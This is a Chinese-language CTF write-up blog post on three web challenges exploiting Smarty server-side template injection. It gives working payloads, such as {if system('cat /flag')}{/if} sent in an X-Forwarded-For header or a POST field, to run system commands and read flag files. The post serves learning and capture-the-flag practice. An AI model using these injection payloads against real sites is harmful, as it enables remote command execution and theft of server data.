目录

[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel

1、题目

2、知识点

3、思路

[HDCTF 2023]SearchMaster

1、题目

2、知识点

3、思路


[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel

这两道题目一样

1、题目

2、知识点

SSTI(服务端模板注入漏洞)、smarty

SSTI(服务端模板注入漏洞)

原理:开发者使用模板进行开发,例如smarty,Django等,在开发过程中,没有将模板语句与数据进行分离,也就是前端的内容会传到服务器进行执行,所以导致攻击者可以利用开发模板的特性进行入侵,可以执行系统命令,Getshell等

smarty是PHP语言的一个开发模板,这个模板也存在很多漏洞,大家可以自行百度

不同开发模版的语法也不一样,那么怎么判断他们是属于哪一种呢?

可以参考下面这一张图

3、思路

打开题目,我们可以看到提示我们使用的是Smarty,跟XFF有关,我们可以在XFF构造payload

X-Forwarded-For:{php}phpinfo(){/php}

结果报错了,可能是版本的原因,查一下当前的smarty的版本

X-Forwarded-For:{$smarty.version}

当前版本是3.1.30,报错的原因是因为目前的版本应该弃用{php}{/php}这一标签了

但是还有一个{if}{/if}标签,这个{if}标签跟原来的php语言区别是每一个{if}后面都要有{/if}配成一对

X-Forwarded-For:{if phpinfo()}{/if}

结果正常回显,我们构造系统执行命令

X-Forwarded-For:{if system('cat /flag')}{/if}

得到flag:NSSCTF{a7574cb4-65a0-4447-873b-465b370e56a3}


[HDCTF 2023]SearchMaster

1、题目

2、知识点

这一题的知识点跟上面的一样,SSTI、Smarty

3、思路

打开题目,有个黄色按钮,跳转页面

但这个flag是错误的

另外提示要我们POST上传一个数据data,但没有明确告诉我们变量名是什么,我们猜一下变量名是data,但下一步怎么做呢?好像又无从下手

根据题目标签,跟SSTI、Smarty有关,我们测试一下

说明变量名为data,且为Smarty模板,这里测试的方法就是根据下面这张图的,不同模板的语法不一样

知道是Smarty,就好办了,

data={php}phpinfo();{/php}

{php}标签报错,那我们使用{if}标签

data={if phpinfo()}{/if}

正常执行,我们构造系统执行命令

data={if system('ls /')}{/if}

查看flag_13_searchmaster文件

data={if system('cat /flag_13_searchmaster')}{/if}

得到flag:NSSCTF{df69cb3b-f72e-4cb2-9da2-4e0b46cb4c73}


这篇文章就先记录到这里了,哪里不懂的或者哪里不好的欢迎指出

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部